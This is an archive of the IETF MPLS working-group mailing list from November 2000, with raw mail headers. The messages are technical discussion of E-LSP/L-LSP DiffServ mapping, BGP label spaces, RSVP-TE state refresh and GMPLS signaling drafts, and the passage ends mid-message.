[198.5.241.40]) id QQjqju29714 for ; Wed, 22 Nov 2000 09:41:31 GMT Received: from nausicaa.coritel.it by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [193.205.242.5]) id QQjqju06254 for ; Wed, 22 Nov 2000 09:41:30 GMT Received: from coritel.it (hertz1.coritel.it [193.205.242.75] (may be forged)) by nausicaa.coritel.it (8.9.3/8.9.3) with ESMTP id KAA18177 for ; Wed, 22 Nov 2000 10:22:42 +0100 (MET) Message-ID: <3A1B9A32.71DCEE96@coritel.it> Date: Wed, 22 Nov 2000 11:04:34 +0100 From: Simeone Mastropietro X-Mailer: Mozilla 4.5 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: E-LSP or L-LSP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi All, I am a novel researcher on MPLS and TE for Co.Ri.Tel ( Rome, Italy)... Is there anyone that can help me to understand when E-LSPs or L-LSPs actually should be used? Thanks in advance Simeone Mastropietro From owner-mpls@UU.NET Wed Nov 22 10:26:44 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10715 for ; Wed, 22 Nov 2000 10:26:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqkr13975; Wed, 22 Nov 2000 15:24:33 GMT Received: by mail-control.mail.uu.net id QQjqkr01951 for mpls-outgoing; Wed, 22 Nov 2000 15:23:57 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqkr01931 for ; Wed, 22 Nov 2000 15:23:44 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqkr20524 for ; Wed, 22 Nov 2000 15:23:03 GMT Received: from mail.erlangtech.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.erlangtech.com [64.19.21.61]) id QQjqkr11680 for ; Wed, 22 Nov 2000 15:23:02 GMT Received: from yongjuni (darthvol.internal.erlangtech.com [10.0.0.65]) by mail.erlangtech.com (8.9.3/8.9.3) with SMTP id KAA31198; Wed, 22 Nov 2000 10:11:54 -0600 Message-ID: <003401c05497$ffe9c840$4100000a@internal.erlangtech.com> Reply-To: "Yongjun Im" From: "Yongjun Im" To: "Simeone Mastropietro" , References: <3A1B9A32.71DCEE96@coritel.it> Subject: Re: E-LSP or L-LSP Date: Wed, 22 Nov 2000 09:22:17 -0600 Organization: Erlang Technology, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit The definition of E-LSP and L-LSP is described in the following internet draft; http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-ext-07.txt Take care, ----- Original Message ----- From: "Simeone Mastropietro" To: Sent: Wednesday, November 22, 2000 4:04 AM Subject: E-LSP or L-LSP > Hi All, > I am a novel researcher on MPLS and TE for Co.Ri.Tel ( Rome, Italy)... > Is there anyone that can help me to understand when E-LSPs or L-LSPs > actually should be used? > Thanks in advance > > Simeone Mastropietro > From owner-mpls@UU.NET Wed Nov 22 10:34:10 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12344 for ; Wed, 22 Nov 2000 10:34:09 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqks02532; Wed, 22 Nov 2000 15:31:31 GMT Received: by mail-control.mail.uu.net id QQjqks03320 for mpls-outgoing; Wed, 22 Nov 2000 15:30:53 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqks03310 for ; Wed, 22 Nov 2000 15:30:44 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqkr04081 for ; Wed, 22 Nov 2000 15:29:28 GMT From: wesam.alanqar@mail.sprint.com Received: from kcmgwp01.corp.sprint.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: parker1.sprint.com [208.18.122.165]) id QQjqkr28849 for ; Wed, 22 Nov 2000 15:29:28 GMT Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93]) by kcmgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAMFT9E27235; Wed, 22 Nov 2000 09:29:09 -0600 (CST) Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73]) by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAMFT8j29155; Wed, 22 Nov 2000 09:29:08 -0600 (CST) Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id JAA27507; Wed, 22 Nov 2000 09:29:07 -0600 (CST) X-OpenMail-Hops: 1 Date: Wed, 22 Nov 2000 09:29:07 -0600 Message-Id: Subject: RE: E-LSP or L-LSP MIME-Version: 1.0 TO: mastropietro@coritel.it, mpls@UU.NET Content-Type: multipart/mixed; boundary="openmail-part-1622174e-00000001" Sender: owner-mpls@UU.NET Precedence: bulk --openmail-part-1622174e-00000001 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Wed, 22 Nov 2000 09:29:07 -0600" Content-Transfer-Encoding: 8bit Hi E-LSP is used when DSCP DiffServ field is mapped to the EXP field in the MPLS header. L-LSP is used when DSCP DiffServ field is mapped to the EXP+LABEL fields in the MPLS header. Thanks. ------------------------------------------------------------------------ - Wesam Alanqar Member of Technical Staff Technology Concepts, Innovations and Evaluation (TCIE) Technology Planning & Integration- Sprint TP&I 9300 Metcalf Avenue Overland Park, KS 66212-1463 Phone: 913-534-5623 Fax: 913-534-3485 ------------------------------------------------------------------------ - > -----Original Message----- > From: mastropietro [mailto:mastropietro@coritel.it] > Sent: Wednesday, November 22, 2000 4:05 AM > To: mpls > Cc: mastropietro > Subject: E-LSP or L-LSP > > > Hi All, > I am a novel researcher on MPLS and TE for Co.Ri.Tel ( Rome, Italy)... > Is there anyone that can help me to understand when E-LSPs or L-LSPs > actually should be used? > Thanks in advance > > Simeone Mastropietro > > --openmail-part-1622174e-00000001-- From owner-mpls@UU.NET Wed Nov 22 15:16:00 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22956 for ; Wed, 22 Nov 2000 15:15:59 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqlk04538; Wed, 22 Nov 2000 20:14:14 GMT Received: by mail-control.mail.uu.net id QQjqlk03113 for mpls-outgoing; Wed, 22 Nov 2000 20:13:40 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqlk03092 for ; Wed, 22 Nov 2000 20:13:30 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqlk01205 for ; Wed, 22 Nov 2000 20:12:49 GMT From: James_Huang@Mitel.COM Received: from Mitel.COM by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.53.180.100]) id QQjqlk15028 for ; Wed, 22 Nov 2000 20:12:49 GMT Received: from kanmta01.software.mitel.com (kanmta01 [134.199.37.58]) by Mitel.COM (V8/MAIL-RELAY-2.1) with SMTP id PAA24062 for ; Wed, 22 Nov 2000 15:12:11 -0500 (EST) Received: by kanmta01.software.mitel.com(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 8525699F.006EF916 ; Wed, 22 Nov 2000 15:12:07 -0500 X-Lotus-FromDomain: MITEL To: mpls@UU.NET Message-ID: <8525699F.006EF822.00@kanmta01.software.mitel.com> Date: Wed, 22 Nov 2000 12:12:01 -0800 Subject: Label space of a label advertised through MPLS-BGP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-mpls@UU.NET Precedence: bulk Hi All, Suppose two LSRs A and B are BGP peers and are not directly adjacent. When the egress LSR (B) advertises a FEC and the corresponding lable to the ingree LSR (A), in which label space should the advertised label reside? Should B always use its per-platform label space in this situation? When B receives a labeled packet in the FEC routed through A, how can B unambiguously interpret the label (assuming PHP is used)? See figure8.4 of Bruce Davie's book on MPLS for example of this scenario. Thanks for your answer. -- James Huang From owner-mpls@UU.NET Wed Nov 22 15:31:52 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28296 for ; Wed, 22 Nov 2000 15:31:52 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqlm29164; Wed, 22 Nov 2000 20:30:04 GMT Received: by mail-control.mail.uu.net id QQjqll05325 for mpls-outgoing; Wed, 22 Nov 2000 20:29:38 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqll05315 for ; Wed, 22 Nov 2000 20:29:34 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqll19523 for ; Wed, 22 Nov 2000 20:29:12 GMT Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqll09364 for ; Wed, 22 Nov 2000 20:29:11 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id MAA05260 for ; Wed, 22 Nov 2000 12:29:09 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA21099 for mpls@uu.net; Wed, 22 Nov 2000 15:29:10 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqhy26794 for ; Tue, 21 Nov 2000 21:31:49 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqhy01490 for ; Tue, 21 Nov 2000 21:31:22 GMT Received: from mailweb12.rediffmail.com by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: [203.199.83.28]) id QQjqhy06163 for ; Tue, 21 Nov 2000 21:31:21 GMT Received: (qmail 19300 invoked by uid 510); 21 Nov 2000 21:24:53 -0000 Date: 21 Nov 2000 21:24:53 -0000 Message-ID: <20001121212453.19299.qmail@mailweb12.rediffmail.com> MIME-Version: 1.0 To: "david.charlap@marconi.com" Subject: Re: LSP setup using RSVP-TE CC: "mpls@UU.NET" From: "Vadlamani rao" Content-ID: Content-type: text/plain Content-Description: Body Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit >Why? >This assumes that an entire switch (or interface) has >failed, and has >been down long enough for its neighbors to detect the >failure (perhaps >via routing table changes). >Consider, however, a router that is heavily loaded and >is running low on >memory. Carrier on the link remains up. Routing >protocols may continue >updating each other. Even RSVP Hello messages may >continue exchaning >OK. But the low-memory may result in some degree of >packet loss. If an >RSVP path message is received, and dropped due to lack >of memory, how is >the previous-hop router going to detect this and >generate an error? >The answer is that it won't. But it shouldn't matter, >because the >normal soft-state mechanism will refresh the state, >hopefully >successfully on the next try. David, I agree with your view. If there is a soft-state retry then it is fine. But, I do not think one can assume that it will "hopefully be successful" in the next retry. I know you may say that it is implementation dependent (free to do whatever one likes to do). But, I prefer that it would be better for the draft to specify the recovery procedure in case of a failure after some N attempts. Thanks Rao _____________________________________________________ Chat with your friends as soon as they come online. Get Rediff Bol at http://bol.rediff.com Participate in crazy auctions at http://auctions.rediff.com/auctions/ From owner-mpls@UU.NET Wed Nov 22 15:31:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28345 for ; Wed, 22 Nov 2000 15:31:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqlm28067; Wed, 22 Nov 2000 20:30:11 GMT Received: by mail-control.mail.uu.net id QQjqll05336 for mpls-outgoing; Wed, 22 Nov 2000 20:29:43 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqll05319 for ; Wed, 22 Nov 2000 20:29:35 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqll19678 for ; Wed, 22 Nov 2000 20:29:15 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjqll27745 for ; Wed, 22 Nov 2000 20:29:14 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA09667 for ; Wed, 22 Nov 2000 12:29:18 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA21104 for mpls@uu.net; Wed, 22 Nov 2000 15:29:12 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqkw23374 for ; Wed, 22 Nov 2000 16:34:57 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqkw21899 for ; Wed, 22 Nov 2000 16:34:08 GMT Received: from gatekeeper.cam.virata.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjqkw11255 for ; Wed, 22 Nov 2000 16:34:08 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id QAA18998 for ; Wed, 22 Nov 2000 16:34:06 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id QAA31148 for ; Wed, 22 Nov 2000 16:34:02 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Wed, 22 Nov 2000 18:33:05 +0200 Message-ID: From: "Lipovetsky, Sergey" To: "'mpls@uu.net'" Subject: draft-ietf-mpls-generalized-signaling-00 questions Date: Wed, 22 Nov 2000 18:33:04 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="windows-1255" Sender: owner-mpls@UU.NET Precedence: bulk Hi All, The draft-ietf-mpls-generalized-signaling-00 defines the following LSP Encoding Types in the Generalized Label Request: Value Type ----- ---- 1 Packet 2 Ethernet 3 ANSI PDH 4 ETSI PDH 5 SDH 6 SONET 7 Digital Wrapper 8 Lambda (photonic) 9 Fiber The draft-kompella-ospf-gmpls-extensions-00.txt defines the following related sub-TLVs of the TE Link TLV: Link descriptor sub-TLV with Link Encoding Type Value Link Encoding Type 1 Standard SONET 2 Arbitrary SONET 3 Standard SDH 4 Arbitrary SDH 5 Clear 6 GigE 7 10GigE and Link Mux Capability sub-TLV (draft-ietf-mpls-lsp-hierarchy-01.txt) Value Link Mux Capabilities 1 Packet-Switch Capable-1 (PSC-1) 2 Packet-Switch Capable-2 (PSC-2) 3 Packet-Switch Capable-3 (PSC-3) 4 Packet-Switch Capable-4 (PSC-4) 51 Layer-2 Switch Capable (L2SC) 100 Time-Division-Multiplex Capable (TDM) 150 Lambda-Switch Capable (LSC) 200 Fiber-Switch Capable (FSC) Is there any way to check that an LSP with a given LSP Encoding Types can be carried over a link with given link encoding type and link mux capability? I can't see a direct mapping. Is there other link parameters relevant to this checking? Other questions relate to the to the CR-LDP TLV encoding. 0x0901 - Generalized Label Request draft-ietf-mpls-diff-ext-07.txt uses this value for Diff-Serv Which one is correct? 0x0902 - Generalized Label Request with SONET/SDH label range and Generalized Label Which one is correct? 0x0904 - Label Set and Suggested Label Which one is correct? Will 0x0903 be used for the Waveband Label? How can a downstream LSR know that a waveband allocation is requested? Thank you in advance, Sergey ===================================== Sergey Lipovetsky +972-9-7663288 (ext.207) Virata Corporation, Haharoshet 2, Kfar-Saba, Israel From owner-mpls@UU.NET Wed Nov 22 15:32:28 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28547 for ; Wed, 22 Nov 2000 15:32:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqlm12323; Wed, 22 Nov 2000 20:30:56 GMT Received: by mail-control.mail.uu.net id QQjqll05345 for mpls-outgoing; Wed, 22 Nov 2000 20:29:44 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqll05317 for ; Wed, 22 Nov 2000 20:29:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqll09098 for ; Wed, 22 Nov 2000 20:29:07 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjqll27510 for ; Wed, 22 Nov 2000 20:29:07 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA09579 for ; Wed, 22 Nov 2000 12:29:11 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA21095 for mpls@uu.net; Wed, 22 Nov 2000 15:29:05 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqfy19077 for ; Tue, 21 Nov 2000 08:39:38 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqfy10900 for ; Tue, 21 Nov 2000 08:39:22 GMT Received: from gatekeeper.cam.virata.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjqfy26409 for ; Tue, 21 Nov 2000 08:39:22 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id IAA13123; Tue, 21 Nov 2000 08:39:21 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id IAA17529; Tue, 21 Nov 2000 08:39:20 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 10:38:25 +0200 Message-ID: From: "Dovolsky, Dan" To: "'Kireeti Kompella'" , yakov@cisco.com Cc: mpls@UU.NET Subject: RE: draft-ietf-mpls-lsp-hierarchy-01 issues Date: Tue, 21 Nov 2000 10:38:24 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk BSD. Hi Kireeti, The only one point still seems to me unclear. I agree, that unidirectional links have to be checked only in one direction. However, my suggestion is, that in bidirectional case, CSPF has to check if there is some link in backward direction between the same pair of routers. This link should comply to the same topology/bandwidth constrains like a forward direction link. If this suggestion is correct, then in bidirectional FA case, CSPF could not proceed bidirectional path computation until backward FA will be established. CSPF should wait until such FA will be flooded by tail-end LSR. The triger for such a FA LSA origination by remote LSR may be receiving of FA LSA originated by head-end LSR. Note, please, that at this moment no Path/Request could be sent, because the ERO could not be constructed by CSPF. What do you think? Dan. -----Original Message----- From: Kireeti Kompella [mailto:kireeti@juniper.net] Sent: Tue, November 21, 2000 12:15 AM To: ddovolsky@virata.com; kireeti@juniper.net; yakov@cisco.com Cc: mpls@UU.NET Subject: Re: draft-ietf-mpls-lsp-hierarchy-01 issues Hi Dan, > I am currently trying to implement the draft-ietf-mpls-lsp-hierarchy-01.txt Super! > 1. The draft defines following: > > "Since LSPs are in general unidirectional, it follows that forwarding > adjacencies are (by definition) unidirectional links. Therefore, the > TE path computation procedures should not perform two-way > connectivity check on the links used by the procedures." > > However, the LSPs are not always unidirectional. At least it might be not > correct for Ethernet network type. I'm not sure what Ethernet networks have to do with unidirectionality of LSPs. LSPs set up according to RSVP-TE, LDP or CR-LDP are always unidirectional, whether over Ethernet, point-to-point links, or NBMA links. draft-ietf-mpls-generalized-signaling-01.txt defines bidirectional LSPs, but this applies equally to all types of LSPs. > So, the path computation has in some > cases check the backward connectivity and in some case has not. The suggestion is that constraint-based routing (e.g., CSPF) should *never* do the two-way connectivity, regardless of whether the underlying links (or FAs) are unidirectional or bidirectional. > 2. Bi-directional LSPs cannot be established over FA-links. The only > problem is, that the only FA head-end LSR establishes and advertises the > FA-link by TE Opaque LSA, while the tail-end could not establish it. Good point. If an FA is bidirectional, it should be advertised by both the head end and the tail end. Thanks; we will update the draft to say this. (Note that the unnumbered drafts say this, but unfortunately not the LSP hierarchy draft.) Kireeti. From owner-mpls@UU.NET Wed Nov 22 15:56:08 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA05065 for ; Wed, 22 Nov 2000 15:56:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqln18504; Wed, 22 Nov 2000 20:54:07 GMT Received: by mail-control.mail.uu.net id QQjqln07670 for mpls-outgoing; Wed, 22 Nov 2000 20:53:49 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqln07658 for ; Wed, 22 Nov 2000 20:53:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqln05506 for ; Wed, 22 Nov 2000 20:53:29 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjqln05733 for ; Wed, 22 Nov 2000 20:53:28 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA21839 for ; Wed, 22 Nov 2000 15:53:26 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA04685 for ; Wed, 22 Nov 2000 15:53:28 -0500 (EST) Message-ID: <3A1C325C.85176FEA@marconi.com> Date: Wed, 22 Nov 2000 15:53:48 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: "mpls@UU.NET" Subject: Re: LSP setup using RSVP-TE References: <20001121212453.19299.qmail@mailweb12.rediffmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Vadlamani rao wrote: >> >>Why? >> >> This assumes that an entire switch (or interface) has failed, and has >> been down long enough for its neighbors to detect the failure >> (perhaps via routing table changes). >> >> Consider, however, a router that is heavily loaded and is running >> low on memory. Carrier on the link remains up. Routing protocols >> may continue updating each other. Even RSVP Hello messages may >> continue exchaning OK. But the low-memory may result in some degree >> of packet loss. If an RSVP path message is received, and dropped due >> to lack of memory, how is the previous-hop router going to detect >> this and generate an error? >> >> The answer is that it won't. But it shouldn't matter, because the >> normal soft-state mechanism will refresh the state, hopefully >> successfully on the next try. > > David, I agree with your view. If there is a soft-state retry then it > is fine. There will be. You can not turn off state refreshing. Any implementation that does not refresh RSVP state is broken. > But, I do not think one can assume that it will "hopefully be > successful" in the next retry. I know you may say that it is > implementation dependent (free to do whatever one likes to do). But, I > prefer that it would be better for the draft to specify the recovery > procedure in case of a failure after some N attempts. I said nothing about failure recovery. If a failure is detected, then the router detecting the failure will generate appropriate tear/error messages and the ingress router will attempt to re-connect (possibly involving a new ERO), or leave the LSP down, awaiting administrative action. I was describing the case when the ingress router does not quickly receive a Resv message back after generating a Path message. Because message delivery is not acknowledged (assuming the RSVP group's refresh reduction draft isn't implemented), there is no way to tell the difference between a failure and a delay. If there is a hard failure, the routing protocols will detect this and propagate the state back to the ingress router. If the ingress router chooses to abort the LSP setup before this happens, it is free to do so. There is no logical reason, however, why every implementation should be forced to do this in the same way. Such decisions are beyond the scope of a signalling stack and may even be beyond the scope of an MPLS spec. Ideally, an operator should be able to adjust this behavior (give up after some amount of time, or don't give up until the routing table indicates that the Path can't possibly get through.) -- David From owner-mpls@UU.NET Wed Nov 22 16:24:04 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA12806 for ; Wed, 22 Nov 2000 16:24:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqlp19473; Wed, 22 Nov 2000 21:22:23 GMT Received: by mail-control.mail.uu.net id QQjqlp22650 for mpls-outgoing; Wed, 22 Nov 2000 21:21:49 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqlp22645 for ; Wed, 22 Nov 2000 21:21:48 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqlp06494 for ; Wed, 22 Nov 2000 21:20:12 GMT Received: from red.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjqlp00028 for ; Wed, 22 Nov 2000 21:20:11 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id NAA19318; Wed, 22 Nov 2000 13:20:07 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id NAA16933; Wed, 22 Nov 2000 13:20:06 -0800 (PST) Date: Wed, 22 Nov 2000 13:20:06 -0800 (PST) From: Kireeti Kompella Message-Id: <200011222120.NAA16933@kummer.juniper.net> To: ddovolsky@virata.com, kireeti@juniper.net, yakov@cisco.com Subject: RE: draft-ietf-mpls-lsp-hierarchy-01 issues Cc: mpls@UU.NET Sender: owner-mpls@UU.NET Precedence: bulk Hi Dan, > The only one point still seems to me unclear. > I agree, that unidirectional links have to be checked only in one direction. > However, my suggestion is, that in bidirectional case, CSPF has to check > if there is some link in backward direction between the same pair of > routers. This link should comply to the > same topology/bandwidth constrains like a forward direction link. Let me clarify: in setting up a unidirectional LSP, don't do the bidirectional check. Note that the bidirectional check only checks for *some* reverse link, NOT a matching reverse link. Check footnote 23 of RFC 2328 for OSPF's view on this. IS-IS isn't clear on this point, but I believe most implementations do what the OSPF spec says. In setting up a bidirectional LSP, CSPF has to change -- this is a new type of path set up. CSPF has to 